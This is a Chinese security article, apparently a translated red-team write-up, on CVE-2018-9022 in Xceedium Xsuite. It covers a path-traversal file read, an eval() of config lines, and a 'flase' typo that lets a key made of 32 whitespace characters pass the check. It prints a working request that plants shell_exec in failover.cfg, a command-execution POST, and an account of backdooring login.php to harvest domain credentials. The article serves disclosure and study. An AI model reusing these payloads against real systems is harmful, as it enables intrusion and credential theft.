Xsuite远程代码执行漏洞:代码笔误导致获得域管理权限(CVE-2018-9022) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Xsuite远程代码执行漏洞:代码笔误导致获得域管理权限(CVE-2018-9022)

41yf1sh 漏洞 2019-03-12 10:33:16
193539
收藏

导语:不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。

概述

不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。这听上去似乎非常平常,但有趣的是,这个漏洞的根本原因是由于两个字符的笔误。相关漏洞描述可以在这里找到。

备注:其实,如果我添加一些额外的屏幕截图,这篇文章的漏洞展示效果将会更好,但是由于涉及到用户的信息,我倾向于不想冒险泄露有关客户的详情,还请各位读者理解。

进行枚举

在执行了一些基本的枚举之后,我找到了一个属于目标组织的子域名,该域名明显地标识出它是“由Xceedium Xsuite提供支持”(Powered by Xceedium Xsuite)。我在Google上进行了一些搜索,偶然发现Exploit-db上有一篇文章,其中介绍了Xsuite的几个漏洞,包括未经身份验证的命令注入、反射型XSS、任意文件读取和本地权限提升漏洞。要利用这些漏洞,看起来似乎很简单,对吧?

任意文件读取漏洞

遗憾的是,由于目标进行了安全配置,所以注入漏洞不起作用。权限提升漏洞则需要事先访问设备,由于我希望尽可能的避免用户交互,因此就排除了这个漏洞,XSS也是一样。因此,我们对任意文件读取漏洞进行漏洞利用尝试:

/opm/read_sessionlog.php?logFile=..//..//..//etc/passwd

当然,我们可以通过互联网访问的端口只有80和443。尽管可以从/etc/passwd中读取各种哈希值,但这些值对我们来说毫无用处:

Sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet
Sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp

在这时,我认为最好的方案就是找到主机的document_root,于是我开始下载源代码。随后,我便可以对源代码进行人工的代码审计,以便在Xceedium Xsuite中找到其他漏洞。在阅读了大量Apache配置文件之后,我终于找到了document_root:

/var/www/htdocs/uag/web/

到目前为止,我们只知道两个页面的位置:

/var/www/htdocs/uag/web/opm/read_sessionlog.php
/var/www/htdocs/uag/web/login.php

我们借助任意文件读取漏洞,下载这两个文件的源代码,从而查找是否存在对其他任何PHP文件或配置文件的引用。这些其他文件,我们也同样可以下载。在执行这一过程时,尽管实际上我可以编写脚本来实现自动化执行,但由于后续我还要进行代码审计,因此我决定在审计的过程中手动检索源代码。与此同时,这也有助于我们限制到目标主机的请求数量,从而使攻击更具隐蔽性。

经过一整天的时候手动下载PHP文件和人工审计之后,我相信,我已经对应用程序的工作方式具有了足够的了解。除了本文中描述的远程代码执行漏洞之外,我还发现了其他的一些漏洞,例如任意文件读取、SQL注入等。但是由于我现在已经可以读取本地文件,并且似乎没有配置数据库,所以这些漏洞对于我目前来说都是没有用的。我唯一感兴趣的,就是远程代码执行。

代码执行初步尝试

需要关注的一个有趣函数是linkDB(),该函数逐行读取/var/uag/config/failover.cfg的内容,并将其传递给eval()函数。这意味着,如果我们以某种方式找到将PHP代码写入failover.cfg的方法,那么我们就可以调用linkDB()函数来在主机上执行远程代码。这非常有趣,但是我们目前还暂时无法控制failover.cfg或该文件的内容。

/var/www/htdocs/uag/functions/DB.php
 
function linkDB($db, $dbtype='', $action = "die") {
    global $dbchoices, $sync_on, $members, $shared_key;
    if(!$dbchoices){
        $dbchoices = array("mysql", "<REDACTED>", "<REDACTED>");
    }
 
    //reads file into array & saves to $synccfg
    $synccfg = file("/var/uag/config/failover.cfg");
 
    //iterates through contents of array
    foreach ($synccfg as $line) {
        $line = trim($line);
        $keyval = explode("=", $line);
 
        //saves contents to $cmd variable
        $cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";";
 
        //evaluates the contents of the $cmd variable
        eval($cmd);                    
    }
…
}

经过一段时间后,我找到了填充/var/uag/config/failover.cfg的函数。下面的代码已经经过略微的修改,以避免包含多行字符串解析。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function putConfigs($post) {
    …
    $file = "/var/uag/config/failover.cfg";
    $post = unserialize(base64_decode($post)); <-- ignore this ;)
 
    …
 
    $err = saveconfig($file, $post);
    …
 
}

总结一下,现在我们知道failover.cfg的内容将会被传递给eval(),这可能会导致代码执行。我们知道putConfigs()函数会接受一个参数,将其传递给base64_decode(),随后传递给unserialize(),然后将其保存到failover.cfg。现在,我们需要看看putConfigs()中使用的$post变量还在哪些位置使用过,并且需要考虑是否有可能控制该变量。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function activeActiveCmdExec($get) {
…
// process the requested command
switch ($get["cmdtype"]) {
 
…
    case "CHECKLIST":
        confirmCONF($get);
        break;
    case "PUTCONFS" :
        putConfigs($get["post"]);
        break;
…
}

因此,传递给putConfigs()的$get参数来自于最早传递给activeActiveCmdExec()函数的一个参数。

/var/www/htdocs/uag/functions/ajax_cmd.php
 
if ($_GET["cmd"] == "ACTACT") {
    if (!isset($_GET['post'])) {
        $matches = array();
        preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches);
        $_GET['post'] = $matches[1];
    }
    activeActiveCmdExec($_GET);
}

我们看到,activeActiveCmdExec()直接接受用户的输入。这意味着,我们可以直接控制activeActiveCmdExec()的输入,然后将其传递给putConfigs()、base64_decode()、unserialize(),最后保存到/var/uag/config/failover.cfg。我们现在可以创建一个序列化的Base64编码请求,将其保存到failover.cfg中,然后我们可以调用invokelinkDB(),它可以将包含我们的恶意代码的文件传递给eval()。至此,我们就已经实现了代码执行。

由于在这里将覆盖一个配置文件,一旦出现了任何错误,都有可能会破坏设备,从而导致我们客户的不满。即使不考虑设备的可用性,我们也只有一次机会来写入配置文件。因此,我决定谨慎行事,使用相关代码先在本地测试漏洞利用。经过几次尝试之后,我收到了“BAD SHARED KEY”。不幸的是,我在activeActiveCmdExec()函数的开头部分忽略了一些东西:

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function activeActiveCmdExec($get) {
    // check provided shared key
    $logres = checkSharedKey($get["shared_key"]);
    if (!$logres) {
        echo "BAD SHARED KEY";
        exit(0);
    }
…
}

该函数将检查有效的共享密钥是否通过$get变量传递。如果没有合法的密钥,我们将无法实现将代码写入failover.cfg文件所需的功能,我们也无法使用invokelinkDB()来评估代码,也无法在远程主机上执行代码。

读取共享密钥

在这一点上,我认为可能是时候回到最初全部的可能性上,并试图找到一种攻击主机的新思路。我隐约觉得,可能会将未经过处理的用户输入传递给unserialize()?幸运的是,由于我可以读取本地文件,因此共享密钥可以在源代码中进行硬编码,也可以保存在可读的配置文件中。然后,我们可以在请求中包含密钥,从而通过此检查。所以,我们首先查看checkSharedKey()函数,看看保存此共享密钥的位置。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {              //1
        return false;
    }
    if (trim($shared_key) == "") {                //2
        return flase;
    }
 
if ($f = file("/var/uag/config/failover.cfg")) {
    foreach ($f as $row) {                        //3
        $row = trim($row);
        if ($row == "") {
            continue;
        }
        $row_sp = preg_split("/=/", $row);
        if ($row_sp[0] == "SHARED_KEY") {
            if ($shared_key == $row_sp[1])       //4
                return true;
            }
        }
    } else {
    return false;
    }
}

该函数执行以下操作:

(1) 检查传递给它的密钥长度是否为32个字符;

(2) 检查传递给它的密钥是否为空字符;

(3) 逐行读取failover.cfg;

(4) 检查提供的共享密钥是否与failover.cfg中的共享密钥匹配。

因此,我们可以利用我们已经掌握的任意文件读取漏洞,从/var/uag/config/failover.cfg文件中提取共享密钥,并将其附加到我们得到请求之中,将经过序列化、Base64编码之后的PHP代码写入到failover.cfg之中,调用linkDB()来eval()我们的恶意代码,并在远程主机上执行代码。在阅读了failover.cfg的内容后,我发现其内容如下:

/var/uag/config/failover.cfg
 
CLUSTER_MEMBERS=
ACTIVE_IFACE=
SHARED_KEY=
STATUS=
MY_INDEX=
CLUSTER_STATUS=
CLUSTER_IP=
CLUSTER_NAT_IP=
CLUSTER_FQDN=

该文件是空的。

我们无法窃取现有密钥从而通过身份验证检查,因为并没有配置密钥。遭遇了再一次的失败后,我将注意力转回checkSharedKey()功能。

分析checkSharedKey()函数

checkSharedKey()函数做的第一件事,就是检查提供的密钥是否为32个字符。这意味着,我们不能简单的传递一个空白密钥来通过检查。然而,经过一阵分析后,我发现了我以前忽略过的一个微妙问题。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {
        return false;
    }
    if (trim($shared_key) == "") {
        return flase;              
    }
…
}

由于代码中出现了笔误,当提供长度为32个字符的共享密钥,但在调用trim()后为空时,该函数将返回“flase”。这意味着,返回的是文本字符串“flase”,而并不是布尔值“false”。幸运的是,字符串“flase”的布尔值为“true”,因此密钥检查将会成功,我们可以绕过权限检查。

回顾PHP官方手册中关于trim()的内容,我们发现有如下表述:

1.png

因此,理论上我们可以使用32个空格、制表符、换行符、回车符、空字节或垂直制表符来达到执行代码所需的必要代码路径。所有这些,都是源于有开发人员错误地输入了“false”这个单词。

测试

为了测试我们的理论,我们可以获取代码的相关部分,并编写一个使用与Xsuite代码相同逻辑的小脚本。

<?php
 
//Take user input
$shared_key = $_GET['shared_key'];
 
//Echo user input
echo "Input: " . $shared_key . "\n";
 
//Echo the string length (Hopefully 32)
echo "shared_key Length: " . strlen($shared_key) . "\n";
 
//Pass the input to the checkSharedKey() function
$logres = checkSharedKey($shared_key);
 
//Echo out the raw returned value
Echo "Raw Returned Value: ";
var_dump($logres);
 
//Echo the Boolean value of returned value
Echo "Boolen returned Value: ";
var_dump((bool) $logres);
 
//Echo either “bad shared key” or “auth bypassed” accordingly
if(!$logres)
{
    echo "BAD SHARED KEY\n";
    exit(0);
} else {
    echo "Auth Bypassed";
}
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {
        return false;
    }
 
    if (trim($shared_key) == "") {
        return flase;
    }
 
}
?>

然后,我测试了几个输入,并看看发生了什么:

2.png

正如我们所料,传递32个字符的随机字符串会返回布尔值FALSE,我们无法绕过检查。现在,尝试我们前面所提到的回车、空字节等字符:

3.png

正如预测的那样,由32个回车符、空字节等符号组成的字符串,将帮助我们绕过checkSharedKey()功能。现在,我们可以绕过权限检查,从而达到我们想要的代码路径。由于这一漏洞利用程序中包含许多步骤,并且可能会出现大量错误,因此我们决定再次使用相关代码在本地测试漏洞利用程序。

漏洞利用

经过一段时间的本地测试之后,我们改进了其中的一些漏洞利用步骤。

1. 借助$shared_key绕过,使用恶意代码修改failover.cfg。

ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=

对上述post参数进行解码后,将会实现下列经过序列化的Payload:

a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

它对应于表单的PHP对象:

$data = array();
$data['radio_iface'] = "iface";
$data['cluster_members'] = array("127.0.0.1");
$data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";
$data['status'] = "OFF";
$data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

2. 借助read_sessionlog.php中的任意文件读取漏洞,读取该文件,并验证配置文件是否已经成功被篡改。

3. 调用linkDB(),以eval() failover.cfg中的内容,并执行命令。

POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1
 
c=whoami

总结

在第一次发现Xceedium设备存在时,我认为我们就已经找到了金子。显然,这是一个过时的设备,并且具有公开披露可以利用的远程代码执行漏洞。当然,事实情况并非这么简单,我们对其成功利用比原先预期花费了更多的时间和精力。

可能会有读者好奇,其他漏洞我们是如何利用的。在攻破设备之后,我们很快就发现了一种获取设备root访问权限的方法。由于Xceedium Xsuite(身份和访问管理)的性质,数百名用户每天都会借助它对设备进行身份验证。借助root访问权限,我们只需要在login.php中安插后门,就可以窃取到数百个域凭据。幸运的是,我们还捕获到了一些域或企业管理员的明文凭据。这使我们可以轻松地访问全球各个领域的内网。显然,我们红方团队的目标并不是获得域管理员,但这显然很有帮助。

在一开始我就提到,我很抱歉本文中没有提供更多的屏幕截图,来展现这个实际的攻击。因为我不想冒着暴露客户隐私的风险。此外,在漏洞发现后,我原本不打算披露,在第一时间提交给了厂商。但是,Xceedium(现在的CA Technologies)并没有接收并积极处理这一漏洞,因此我们将其披露,并希望提醒用户注意防范此类风险。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务